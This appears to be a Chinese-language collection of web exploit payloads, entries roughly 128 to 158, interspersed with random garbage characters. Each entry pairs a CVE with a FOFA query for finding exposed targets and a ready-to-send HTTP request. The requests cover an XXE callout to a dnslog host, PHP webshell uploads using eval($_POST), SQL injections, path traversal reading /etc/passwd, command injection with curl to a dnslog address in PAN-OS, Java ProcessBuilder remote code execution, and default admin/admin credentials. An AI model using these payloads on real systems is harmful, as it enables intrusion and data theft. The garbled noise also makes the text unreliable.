! P3 K  l- v# Y<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
) O4 Z9 T, d- |<test>&t;</test>
7 G- A- c( B) ]1 E8 Q, L4 {------WebKitFormBoundaryJGgV5l5ta05yAIe0--
0 S' m# B5 m, D7 C& `$ }


7 F& E, t( n* e' {" Y  u; o; a# n128. Adobe ColdFusion 反序列化
6 _$ D  s- |  b5 z' cCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
- o1 n! ]2 l% B$ h6 ^FOFA：app="Adobe-ColdFusion"
PAYLOAD
) D' r' l) \% I
) |8 D, Q" T6 _" h( O5 _, S6 L8 ]129. Adobe ColdFusion 任意文件读取
$ \9 A' L- [/ ~& c8 {5 F7 C) yCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
+ N3 o# z  `5 y1 {; j第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
6 ~. F* C/ n; {# ~! r( _Host: x.x.x.x
+ \6 w. `2 u  N- f2 i" H' y) I- EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
. g$ j& C2 K: Y+ W7 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
* b- U& N$ }; I& @; eAccept: */*
Accept-Encoding: gzip, deflate
* X( \7 v1 A1 z1 U! v* jConnection: close
* N& x7 L9 D* O) ~( Fuuid: 85f60018-a654-4410-a783-f81cbd5000b9


6 s, L& c9 z9 [  O0 W2 n% H! i& n2 y130. Laykefu客服系统任意文件上传
! n0 g; ~# c. X8 s4 A  Y. HFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
3 Q: _% ^1 I1 Y/ I2 }" TAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
* n, f# r2 x7 V- g1 IAccept-Encoding: gzip, deflate
. o( L+ y  V& {7 H+ R) YAccept-Language: zh-CN,zh;q=0.9
, m2 Z. g% d3 G( _Cookie: user_name=1; user_id=3
6 B& Z  a, s1 Z0 B! \4 O! AConnection: close

8 b5 ~8 [4 }  i" l------WebKitFormBoundary3OCVBiwBVsNuB2kR
# Z3 Y9 s$ N2 i; yContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png
0 _! p3 X7 a, f) K
/ h. x  z5 ]7 ]<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
9 p1 y8 |7 t, ~FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
' s. `, b0 v! b5 n  \, N9 O; Mhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
2 L( ?, r) {+ ^* YCVE-2024-27198
1 i- _( a, s1 y0 [- pFOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
0 O" b8 g7 z# P1 p" L1 iHost: 192.168.40.130:8111
' d0 e* G# V2 S9 U* iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
/ l4 o1 |9 f9 K3 L4 H. {Accept-Encoding: gzip, deflate

( m9 i) y7 O8 m8 ~  _{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

& ]) S9 t& a* t; p( I
  {1 B3 t4 C, \+ {3 _, HCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
6 t4 r8 P( |- F' j# q/update/../admin/diagnostic.jsp
: R$ ?% p9 ~4 j

CVE-2024-27198-RCE.py
1 ~1 Y& _; V- E' e
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
7 U- a6 ^+ E& \" |8 YHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 A" |$ c1 q, r, AContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
. r5 S2 }7 w. mContent-Type: application/octet-stream
3 J& A+ G& a( C/ @5 q
, K/ W! ]4 J' v* o( k& ?" ~<?php system("cat /etc/passwd");unlink(__FILE__);?>
+ ~  d# m5 A1 @1 Q8 z3 ]/ E. \8 r------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
3 m* ]% w8 H' D( G

' a) J, Q, d3 e& I1 {
134. 网康NS-ASG应用安全网关index.php sql注入
$ g0 W. _2 a( w* ~7 X& QCVE-2024-2330
  d/ _1 ^4 t" r. B6 R0 B( DNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 W( @3 o* r  U& F6 R/ ~POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
& X* K8 w" L; [! z8 P  T. j8 y# zCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
0 n# d/ O( g3 E$ Z: N9 w. hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
1 W8 t) q! f! `" _4 ~( t8 k( K, ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* z, f# X( C5 c- ]: t$ BAccept-Encoding: gzip, deflate
8 W" Y. I, J1 Q0 iSec-Fetch-Dest: empty
. N/ L4 i/ d' p4 v  g0 ]+ h/ ~Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

" }, W) ^3 H0 c: Q  S% `jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
3 f+ V2 Q; p5 u- N& ?8 |/ q) z
) R: M) S  E! K8 x( V9 z
4 _( ^; y  x# n# M0 r3 z5 ?( K135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
6 o" v" [* x  I* t9 |Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
5 v  B" O. @) w6 ]: eGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
, P9 U. c7 s' EHost: x.x.x.x
5 O/ U4 W' D# S: aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* F: Q: T' k2 S) M4 k% yConnection: close
8 `' c* G1 [& A8 I$ e

: T$ s7 D" r3 w9 k; Y8 n136. NextChat cors SSRF
4 q  i( {+ A9 B/ U- L! u+ `CVE-2023-49785
FOFA：title="NextChat"
( U3 }/ a2 H; x) sGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
' }9 j5 q8 k! d+ a# _Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
$ ?# @. M1 u7 i, W. I, UAccept: */*
3 @( }' Y: B2 w- z3 q2 Z! L$ {% p. DAccept-Language: en
Accept-Encoding: gzip


) G6 F) z. F5 ?4 P% X) o137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
& k1 O0 {. j% O' l8 N! A7 j- eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
- A5 R0 \4 |- D9 N1 v, {Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
" q( K) t4 ?& A2 ZUpgrade-Insecure-Requests: 1


, d% P! X% F  E138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
- k: R7 w- V  ?9 ]9 y, D' RCVE-2024-2621
1 P" z" y/ a  s1 E0 `FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
  l, U5 ^. @5 i+ D% }5 IGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ k* k& Y$ z2 W8 a# o$ A9 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% R5 k+ O8 O  e7 U- jAccept-Encoding: gzip, deflate, br
  \7 E# g1 L2 ?) C- [Connection: close
Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
% o& \- b" e7 R; }+ q3 _* [CVE-2024-2622
2 G5 A# |- U$ y* AFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
5 w0 ~; X/ q# ]  B: h) x$ L/ N5 ZGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 A( {# Q; b* gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 t/ X; U: A* IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
0 G0 j* `6 A# D4 nCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
! G$ z8 \/ b: o. @. A! aUpgrade-Insecure-Requests: 1
1 ~: h; L+ f' T: W& }& u

1 |( d7 h" D" q( o; s/ `+ H# G140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
0 b9 M5 _. m# U. J$ r) n, PCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
1 M8 _8 R& S9 N) }) J* mGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
3 y# _- {& z# uHost: x.x.x.x
# u' p1 L0 \6 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& U" v2 ?0 e5 ]) P2 Z- t# rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& T9 p6 e: m, b3 ]1 AAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
- i, x, g/ X+ F$ }& q% _

" u& j- N2 k; m, q# t. d7 i141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
) g: {! x; D, U& C( Z, O7 S( ]POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
* Y# r2 S2 y1 bContent-Type: application/x-www-form-urlencoded

, k5 k" J: k) j; L
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

5 J5 h$ X9 i& ?3 s
5 h2 i' x' D, C# H) N9 c* P; h142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
5 b) P$ Z8 H, U0 v$ Y& K4 ~admin/admin
- w& r  f: C* r( b- y! _143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
( P2 H6 T( ?9 M2 ]FOFA：title='AP setup' && header='netis'
/ a6 k- d7 p4 h- ^- o  A* j$ fPAYLOAD
) j' s7 f+ m+ z. \; [
144. D-Link nas_sharing.cgi 命令注入
7 V% Y3 W0 s& o. G$ uFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
4 K  Z! t: n4 X3 v/ Y: W/ k+ _User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
9 Z& ?0 j6 V4 R: f2 FConnection: close
Accept: */*
Accept-Language: en
- U; m$ }( [/ o+ _! o  Q; I2 H- ?0 `! xAccept-Encoding: gzip
; K( |. Y9 V* B1 P% X! A7 A/ \

- ]: Y+ R  K7 T# O# |+ x145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
5 [/ I; e: j! pCVE-2024-3400
8 O, i3 g2 n7 p3 d  h1 k/ L$ pFOFA：icon_hash="-631559155"
* V3 \: u4 J0 Q! n1 ?+ s5 |; Y% yGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' w- T3 J9 J* ]2 |Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
& y) i' a# ?. c1 K! Z! a0 K0 mAccept-Encoding: gzip


# v  e& W+ I8 k, k$ U- J146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
4 u# T5 @0 x1 W. b; i+ I+ ^7 hFOFA：app="MajordomoSL"
: A* h$ {- O# cGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
2 p: J+ O" W" ?  h: Y& e2 y% {: KHost: x.x.x.x
0 |3 U+ |# Z; r( D! i: [  UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
- b' J6 i# j( [7 H" b' a- G2 x
; m& c+ E* [: V3 j; o3 t5 o
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
* M0 P# m- r" w" V; Q" r+ S" vCVE-2024-32399
* X) @% }) c6 w# `( i( k- xFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
* ^+ b3 W# f- \) R3 G0 l7 z: JHost: 127.0.0.1:81
. A% c5 f: H( `- v  t4 E' R0 F. s9 V1 dCache-Control: max-age=0
' d# v2 p& S: D3 l* t  AConnection: close
/ H+ M6 z. x7 R! k7 f( S

0 ?  b. C4 q% ~) y9 l148. CrushFTP 认证绕过模板注入
8 D: ]" _+ s$ c* j) x/ V' ECVE-2024-4040
5 ^7 i. C7 M: @' OFOFA：body="CrushFTP"
PAYLOAD
  O3 U0 L+ |9 m% u& r
, L1 s% ?7 j0 E1 [+ Y149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 j4 Y9 ^- r* \" \! _Host: x.x.x.x
* ~" q4 N2 V, r) J+ u0 p$ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
3 Z( N+ f; U" nAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
) r& e! L% p6 T
6 g/ O+ U! A- N  a{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
) B' [) J; m, _; Z, A7 fPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ ]' S- p0 i6 D, O: oAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
. t8 Z9 B+ i3 ?. K  p) EContent-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
+ n1 R" O( R) p' I, ^9 i$ E" b6 d# @
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

% G( v- U; H2 K. W
) G/ C0 `& E5 D$ u6 W151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
8 m6 _9 O$ O' Q' }GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

: l( }! y* W% Y* o/ z# t% M' t. J" \) J
152. Progress Kemp LoadMaster 远程命令执行
5 ]/ a( v7 v( r, `; O5 R' c2 C3 o  ~CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
5 b# V- x7 H. H% BAccept: */*
- t& R: F9 _7 R9 bAccept-Language: en
( l, w5 k. S1 S: \) Y# qAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
4 c0 H( }5 M6 H& `

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
  \( l6 i3 U6 o* ?. V6 `" k3 ]9 ]% `http://x.x.x.x/config


+ `0 {! ~) f# E& G第二步，将/etc/passwd的内容写入到一个临时文件
/ ]% S3 {6 T% Y! F* mPOST /component_server HTTP/1.1
* u9 o/ v, G4 m: oHost: x.x.x.x
' X( H4 H4 H# Z8 r6 M% r0 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 g* t3 v, s0 W2 D1 cConnection: close
' O5 A( m# W8 K+ {( e% ~Content-Length: 115
- w5 @4 A$ r% Z' IContent-Type: application/json
( j- ]( q; c& r3 s' m0 x  TAccept-Encoding: gzip
# j3 r# Q7 n, [! ?, o0 A/ i% b6 Y
. q+ U: Q: I3 [4 l{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

* }" z1 j" a5 w9 ?2 P$ z
, i9 {/ G' T2 H. P  }第三步访问
" K, P7 q- p: Dhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
- L+ R4 w" f3 @( ~  u2 Y2 P" i

& r( Z4 Y; C# f) e154. 天维尔消防救援作战调度平台 SQL注入
8 s, Q1 |0 u8 E& VCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
: ]& [. a" G9 |. ~2 C/ {Host: x.x.x.x
; k7 r4 C4 W) QContent-Length: 106
4 q- `" F0 W2 h  _# r4 c4 aCache-Control: max-age=0
* Z0 M3 w/ r2 I& j+ eUpgrade-Insecure-Requests: 1
1 x0 [* ]# k8 g. ]3 AOrigin: http://x.x.x.x
Content-Type: application/json
1 l1 u; V: F7 c. pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
3 D$ f7 j+ v7 t' W% r/ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  r$ i5 e" p; X; ?9 XReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
+ S3 L2 y' c. \+ J8 m) bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
/ H2 k: R& K/ R, M! H; [  zConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
9 a! R* g! l; `2 ~

155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
4 h- X$ ]2 P) DFOFA：title=="上网导航 - LyLme Spage"
& `5 `/ V) I. X# r* L4 `POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
7 I/ s6 e6 Y! A" qConnection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
# x) R( i: T% |. NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# v7 Q' I  M% R' }Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
* ]4 [$ F& V/ d7 g
4 ~' D$ ~7 I9 R, s. x9 L# p& H-----------------------------qttl7vemrsold314zg0f
$ v% m. c( `# _  g3 \7 Z7 H' N& X# GContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
8 A& f. x& Z1 s+ d6 A- ]
1 q6 O# V& q1 `5 e6 h
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
  v4 R( K% ^6 n3 i& ^
: g' w+ M' j$ P: h) s+ L, R; X156. TBK DVR-4104/DVR-4216 操作系统命令注入
/ z& G( H2 J( O: L6 D+ O: \CVE-2024-3721
FOFA："Location: /login.rsp"
( ~6 w5 t# |- C·TBK DVR-4104
·TBK DVR-4216
8 r, o$ ~8 v; R1 n9 I$ jcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
' v5 g; K1 r+ t: G! g  MHost: x.x.x.x
6 _9 A5 e$ ~; z" q) S8 fUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. a) J0 I9 E+ uConnection: close
0 {& E( I) v9 e$ ^+ B" PContent-Length: 0
Cookie: uid=1
8 J- O( j: y& q8 f& JAccept-Encoding: gzip
( M6 L. O/ q1 D+ d  ]5 `
, M7 F7 k* J9 S' k$ I" |& j9 a
, I3 h: d" _' `5 Z157. 美特CRM upload.jsp 任意文件上传
( g1 R$ x) u9 H7 Q  S) `CNVD-2023-06971
5 j$ m. J$ m5 B8 O$ [+ u1 ^FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
! h8 I9 K- I. V4 T- i( xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# y% X! Q9 T* l; T  vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, ]0 H9 U: _0 g  yCache-Control: max-age=0
3 l- r& I2 I( R! ~: X2 DConnection: close
1 n: M0 y6 v9 d1 Q/ F/ AContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
8 I  N+ m$ z% u, l$ T
------WebKitFormBoundary1imovELzPsfzp5dN
1 h0 E# u5 x" ]* o, K5 VContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
. A/ V% G5 q1 H- v# lContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
, W. l6 m& I. Y) ~
null
( X# x/ b% V" T" X. G2 o5 N  c------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

0 V' o: P7 q3 |. tnull
- L3 E3 A0 j3 U8 Z6 Y3 F------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
( ^/ k# j! d' w; A. `3 d9 k------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
) o+ E5 i6 e4 }8 _/ `
null
------WebKitFormBoundary1imovELzPsfzp5dN
% ~6 c6 B& x# V$ D4 K4 RContent-Disposition: form-data; name="filefolder"
& t4 Q4 r" ]* x& O0 i1 u, g( r! I
null
------WebKitFormBoundary1imovELzPsfzp5dN--
# M. x2 J2 X# Y( P0 }

http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
2 H' g* U; d. O+ p+ `/ d1 \$ T
0 @/ s" m% I" I" p+ G  I' T158. Mura-CMS-processAsyncObject存在SQL注入
: V3 p5 A/ `( X4 D/ ?CVE-2024-32640
" S; x" A% _% p$ RFOFA："Generator: Masa CMS"
% ~, s6 {7 e1 D( ]1 G  h& E5 LPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
# E" N, F: D6 i& B: P8 \Content-Type: application/x-www-form-urlencoded
3 B# r/ C* E* r2 o  n
object=displayregion&contenthistid=x\'&previewid=1
